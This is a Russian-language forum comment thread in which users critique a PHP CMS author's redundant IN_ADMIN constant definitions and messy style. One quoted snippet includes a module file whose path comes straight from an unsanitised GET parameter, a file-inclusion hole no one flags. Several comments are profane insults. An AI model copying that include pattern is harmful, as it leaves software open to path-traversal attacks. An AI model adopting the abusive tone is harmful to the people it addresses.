              Ответить
          • Ты пишешь класс, ты пишешь функции....
            Когда ты пишешь функцию
            function Её имя($Какаянить переменая) {
            die('<H1>'.$ЭТА ЖЕ ПЕРЕМЕННАЯ! ТЫ понимаешь почему она .'</H1>');
            }
            Эта переменная определена ниже? А выше её нет. Неужели не понятно о чём речь?

            А то что где же у нас FALSE константы IN_ADMIN так она в другом месте а не тут! Она уже в логике котороая проверяет админов!
            Ответить
            • $Какаянитьпеременая - определена
              $ЭТАЖЕПЕРЕМЕННАЯ - не определена

              а если так:
              function($var) {
              echo($var);
              }
              она все равно определяется в function($var) еще ДО echo($var);

              а у вас наоборот:
              if($var==true) {
              $var=true;
              }
              Ответить
              • Я всё понял.... Бесонные ночи походу сказывааюятся) Всем спасибо) Вы правы... Дважды определять чтото ненужно.
                Ответить
      • Видимо нет раз спросил. А это элементарно Ватсон =)
        Ответить
        • Мне не стыдно признаться в том, что я что-то не понимаю. В данном конкретном примере, не о том, что в других файлах и какие там проверки, ответьте на один простой философский вопрос: если Истина ЕСТЬ Истина, то зачем Истину объявлять Истиной?

          Кстати, это не понятно не только мне, если Вы заметили. Подобные записи, в бытность моего молодого студенчества, преподаватели бы даже не допустили к защите программы. Вам нравится писать _такое_ - пишите, Ваше право, но не называйте меня и всех вокруг глупыми и тупыми, которые не в состоянии оценить всю красоту и гениальность написанного. Это уже психическое расстройство.
          Ответить
          • Я не говорю дружище, тут наоборот меня все за глупого держут, и мне тоже не стыдно это признать местами, я многое усвоил, и многое исправил =)
            Ответить
      • я понял сакральный смысл! смысл в том, что бы никто не понял!
        Ответить
        • И это ещё пол-беды... Беда случится, когда сам же пытаешься разобрать свой же код через какой-то промежуток времени...

          И я всё равно не понимаю именно этих двух строк )))-:
          if(!defined("IN_ADMIN")) die("Запрещённое действие!"); - это понимаю, хоть и не особо согласен
          Ответить
          • если разобрать свой же код через месяц - беда, значит, пора этот код постить сюда ))) шутка, но примерно так )

            да понимать тут нечего - это кз в мозгах прогера было, вот и все. сначала, он начал писать ветку, если константа неопределена, но продолжил эту ветку писать, как буд-то она определена. Посмотрел, сам ничего не понял, но, цитирую, "ведь работает как-то!" - то есть стыдно и страшно свое же говно убирать

            ну я тоже не любитель УСЛОВНЫХ(то ли она определена, то ли нет) констант, тогда как константа по сущности своей как бог - альфа и омега, едина
            Ответить
          • Пипец! Да что не понятного? Система моя работает на не на прямых сылках. не так a&m-admin/modules/news/modules.php а вот так ?am=news тогда путь срабатывает a&m-admin/modules/news/index.php который подключает файл modules.php и обрабатывает его шаблонизатором. А когда вы пытаетесь вызвать файл напрямую a&m-admin/modules/news/index.php любой абсолютно тут и обрабатывается системой строка if(!defined("IN_ADMIN")) die("Запрещённое действие!"); которая запрещает прямой вызов файла!!! Если сессия зарегестрирована и она равная той сессии SID что в бд того админа то он лазиет и строка это отдаёт разрешение... Если нет регестрации т.е. сессия пользователя не равна той что записана в БД то хер ему ОБЛОМ ИДИ НА АВТОРИЗАЦИЮ. А строка эта та что у вас вопрос вызвал и нужна для всего этого.
            1. Она не даёт прямого вызова файла!
            2. Проверяет SID пользователя с БД записью того пользователя.

            Ёмаё стока вопросов потомучьто вы не видели системы
            Ответить
            • Вы читаете, что Вам пишут? Процитирую самого себя: if(!defined("IN_ADMIN")) die("Запрещённое действие!"); - это понимаю, хоть и не особо согласен.
              Иными словами эта строка не вызывает каких-то непоняток, нравится так делать - делайте. Вопрос был только об Истинной Истине.

              Последний вопрос: что изменится, если убрать define("IN_ADMIN", TRUE); в этом кусочке кода:
              if(IN_ADMIN){
              define("IN_ADMIN", TRUE);
              .....
              }
              Ответить
              • ПИЗДЕЦ! ДА как что? if(!defined("IN_ADMIN")) die("Запрещённое действие!");

                Это видите? IN_ADMIN От куда оно там не подумали??? ВОТ ОТ СЮДА define("IN_ADMIN", TRUE); Определение константы вот и всё. Ребят если чтото не понимаете, CTR=F пишите мой ник, и читаете всё что я пишу...

                Изменится что? Прямой доступ ко всем файлам системы.
                Ответить
                • Я и не скрываю, что я тупой (-: Объясните мне словами ,как человеку, как бы не смыслящему в программировании, что делает тот кусок кода. Именно эти две строчки.
                  Давайте сначала я предложу свой вариант, а потом Вы свой. Так вот: ЕСЛИ константа ИН_АДМИН существует и равна ИСТИНА, то определяем константу ИН_АДМИН как ИСТИНА.

                  P.S. Рискну предположить, что где-то ещё есть define("IN_ADMIN", TRUE); , иначе бы этот кусок кода if() никогда бы не выполнился.
                  Ответить
            • говорим о Фоме, а вы про Ерему. То есть про то, как ДОЛЖНО работать, а не что делают эти две строчки. прочитайте внимательно только эти 2 строчки и обьясните, как, с точки зрения пхп они работают.
              Еще раз заикнетесь про то, что где то стоит проверка на прямой доступ - заигнорю.
              Ответить
              • Вон мне ответил (-: Тоже хочется? ((((-:
                Ответить
                • кажется у него в мозгах как то нейроны не так работают. мы про одно, а он думает что мы про другое и возвращается к истокам дискуссии. Подобная непонятливость меня начинает утомлять...
                  Ответить
                  • Стой, меня спросили:
                    Последний вопрос: что изменится, если убрать define("IN_ADMIN", TRUE); в этом кусочке кода:

                    Я пишу

                    ПИЗДЕЦ! ДА как что? if(!defined("IN_ADMIN")) die("Запрещённое действие!");

                    Это видите? IN_ADMIN От куда оно там не подумали??? ВОТ ОТ СЮДА define("IN_ADMIN", TRUE); Определение константы вот и всё. Ребят если чтото не понимаете, CTR=F пишите мой ник, и читаете всё что я пишу...

                    Изменится что? Прямой доступ ко всем файлам системы.
                    Ответить


                    Я ответил что будет.
                    Ответить
                    • да, но ГДЕ мы делаем define? ТАМ, где оно уже ДОЛЖНО быть определено. а НАДО определять РАНЬШЕ. я написал, как и где.
                      это НЕ значит, что вообще НИГДЕ не нужен define

                      все, пока не усвоите, не продолжаю дискуссию.
                      Ответить
                      • Думаю, что где-то есть ещё это определение. Просто в процессе написания эта строчка затерялась. Иначе ж условие никогда бы не выполнилось.
                        Ответить
                        • ну, если есть где-то еще, значить здесь она не нужна. Но товарищ не понимает, и кричит, что без нее именно здесь условие не будет выполняться, и в других местах тоже проверка на прямой доступ не сработает

                          смешно, ей богу. 2 строчки, а дискуссия на 100 комментов.
                          Ответить
                          • Пздц! А не кто не понимает что тот код это не начало?

                            require("../configurations/system/authorisation.data.php");
                            require("../configurations/system/sql.data.php");
                            require_once("../configurations/classes/sql.class.php");
                            require("../configurations/functions/variable.cms.php");


                            Есть ещё другие файлы? Есть TRUE есть FALSE ну что не ясного? Мне вам что рассказть полностью что к чему и как работает система???
                            Ответить
                            • Хоть начало, хоть конец, хоть середина (-: В данной записи define после if() не нужен. если его убрать именно в этих двух строчках, что Вы привели в своём первом посту, работоспособность не нарушится.
                              Ответить
                          • А ещё в начале сессия...
                            Ответить
                          • И то что константа IN_ADMIN определена и проверяется не в этом файле а тут!
                            require("../configurations/system/authorisation.data.php");
                            И ещё множество нюансов!
                            Ответить
                            • точнее проверяется там определена в нескольких местах, ибо так надо.
                              Ответить
                              • Константа определена в нескольких местах???
                                Ответить
                            • отлично, что определена. значит, определять еще раз не надо
                              Ответить
                              • Она не просто определена, а определена в нескольких местах! (-: Я боюсь представить, что случится, если захочется поменять константу...
                                Ответить
                                • кароче меня просто.. нет я уже просто заипался пиздеть. было бы чтото не так, не работало бы. ) всё там норм не пережевайте)
                                  Ответить
                                  • Очень жаль, что Вы так ничего не поняли... очень жаль... или не хотите понять... или не умеете пользоваться головой. Либо Вы очень недавно занимаетесь программированием...
                                    Простой тест. Что выведут эти два куска кода:
                                    1) if(const){
                                    define("const", true);
                                    echo "bla-bla";
                                    }

                                    2) if(const){
                                    echo "bla-bla";
                                    }

                                    Если Вы этого не видите и не понимаете, то может и не стоит заниматься программированием?? Любой человек разумный бы тупо удалил дефайн в ифе за бессмысленностью и бестолковостью. Жаль, что Вы не понимаете даже того,что пишете. И запомните: константы потому и константы, что они определяются один раз и в одном месте. Обычно в файле конфигурации или инициализации.
                                    Ответить
                                    • а без четкого понимания не сделать хорошую цмс...
                                      Ответить
                                      • Да ты прав, думать нада, если не думается отдыхать)))
                                        Ответить
                                    • Простите я согласен что я тупил:

                                      1) if(const){ КОНСТАНТА const определена тут поздно тогда когда она либо раньше опреденена, либо будет ошибка.

                                      2) if(const){ Тут всё верно если константа опредеоена до ифа.ю.

                                      Ребят просто я ушёл на отдых, так заипался что туплю на ровном месте.

                                      У меня так и есть, просто какогото хера я её 2 раза определил... И убрал уже, и всё хорошо) Спасибо)
                                      Ответить
                                      • Уф... Слава Богу (-:
                                        Теперь я доволен окончанием дискуссии (-:
                                        Приятного отдыха! (-:
                                        P.S. сам вот только с моря пришёл (-:
                                        Ответить
                                        • Эх море... Его я могу видеть токка в сне, я с севера России... Снег хоолод, морозы и прочий ужас, про медведей гуляющих по улице не верьте))
                                          Ответить
          • А то что вы говорите когда мол начнёш сам понимать что писал... Тут если вы знаете что ходить надо на ногах, то вы не забудете это... А в обще, я говорю, многое полезное я извлёк, и даже многое переписал.... Да гдето я перемудрил конечно не спорю.
            Ответить
            • Видите ли, когда я открываю свой конспект по Высшей математике года эдак 93 или 94, то офигеваю, какой я был тогда умный. Сейчас я вряд ли решу какие-то функционалы или возьму тройной интеграл по объёму. Это вот как раз к вопросу о ногах и умению ходить. Так же и Вы будите понимать свой год, если постоянно в нём "варитесь". А стоит переключиться на другой проект и некоторое время пописать что-то другое, тогда то, что пару месяцев было очевидно становится совсем не так уж прозрачно
              Ответить
              • Эмм... Да вы правы... Я не спорю. Реально так и есть Вы абсолютно правы. Но писал я тут выше, и выражал благодарность тем кто мне подсказывал чтото, а не тем кто может только обосрать не понимая о чём речь, не удивлюсь что ктото тут сидит чтобы найти чтото полезное))))) Я к тому что, да спасибо, я понял вас, и знаете я признал это. И судя потомучто вы в те года учились в уинивере, вы страше меня... И поэтому прислушатся к вам мне не состовляет труда. Я согласен, и я это исправляю. Чтобы и впрям потом глаза не выпали, я тут выше гдето вроде писал, бы у мекнея такой казас, когда я писал первые свои сайты.... спустя долгое время я удивился с косяков, пошёл исправлять, открыл файлы и знаете что? Я пошёл к начальству и удивлённо спросил. "Это точно я писал, не кто не переписывал?" И к тому это, что да писать надо по людски, сейчас я открываю любой абсолютно проет и там всё до того мне понятно, и так как везде...
                Ответить
                • > вы страше меня
                  упаси б-г увидеть такое :)
                  Ответить
                  • :-DddDDDDDDDDDDDD ппц скока у меня ошибок))) я имел ввиду СТАРШЕ!
                    Ответить
              • >когда я открываю свой конспект по Высшей математике года эдак 93 или 94,
                ебать вы олд
                Ответить
                • Дяденьке должно быть около полтинника.
                  Ответить
                  • --А позовите Винни
                    --Тут нет Винни, уважаемый, тут живет медведь Вениамин
                    --Ааа... а передайте ему тогда что заходил Кабан Полтинник
                    Ответить
          • И прости за ошибки, быстро печатаю, реально просто даже не смотрю порой что пишу...
            Ответить
            • Попадаю, спеша, между кнопок,
              Оттого и пишу невпопад.
              Я такой же, как вы, уёбок,
              Потому не пойти ли вам в зад?
              Ответить
    • 1. $db->sql_query( - это класс вообще у вас для чего? чем этот метод отличается от функции mysql_query? у вас в коде абсолютная смесь функций и классов. Для чего это сделано? Не смотрите, что у других $db = new db(); у них это со смыслом.
      2. Вам уже говорили, что в объявлении константы уберите кавычки и сделайте не "красивый вид", а удобоваримый и которому eval не нужен: define('LANGUAGE_ADMIN', $row['language_admin']);
      3. У вас совсем нет единого стиля в коде:
      <?
      if (isset($_GET ['am'])){ $MODULES = $_GET ['am']; }
      else { $MODULES = MODUL_HOME_ADMIN; }

      if (file_exists ("modules/".$MODULES."/index.php")) {
      require ("modules/".$MODULES."/index.php");
      }
      ?>
      почему с одной стороны вы делаете перенос строки до и после фигурных скобок, а другой не делаете? Вам же потом в этом г..не разбираться.
      3. Не объявляйте константы как попало (да и переменные не называйте так). Если у вас константы как принято - В ВЕРХНЕМ РЕГИСТРЕ,
      Ответить
      • тогда откуда взялось Authorisation_file_path.

        4. MODUL_HOME_ADMIN - это что? МОДУЛ_ДОМАШНИЙ_АДМИН? не смешивайте транслит и английский язык.
        Ответить
    • ты оепять выходишь на связь, мудло? тебе же сказали -- брось компы, иди фрукты продавать обратно
      Ответить
      • Ебало бы тебе поломать с теми кто плюсует, за пасть твою гнилую.
        Ответить
        • Киса, послушай анона, иди в дворники, у тебя же талант.
          Ответить
          • Клавиатурный храбрец... Если ты клоун с годами не эволюционируешь или вовсе деградируешь, то не суди о людях по себе.
            Ответить
        • >Пишу CMS
          ебать ты лох
          Ответить
    • Такого говна я ещё не видел... разве это код?
      Ответить

    Добавить комментарий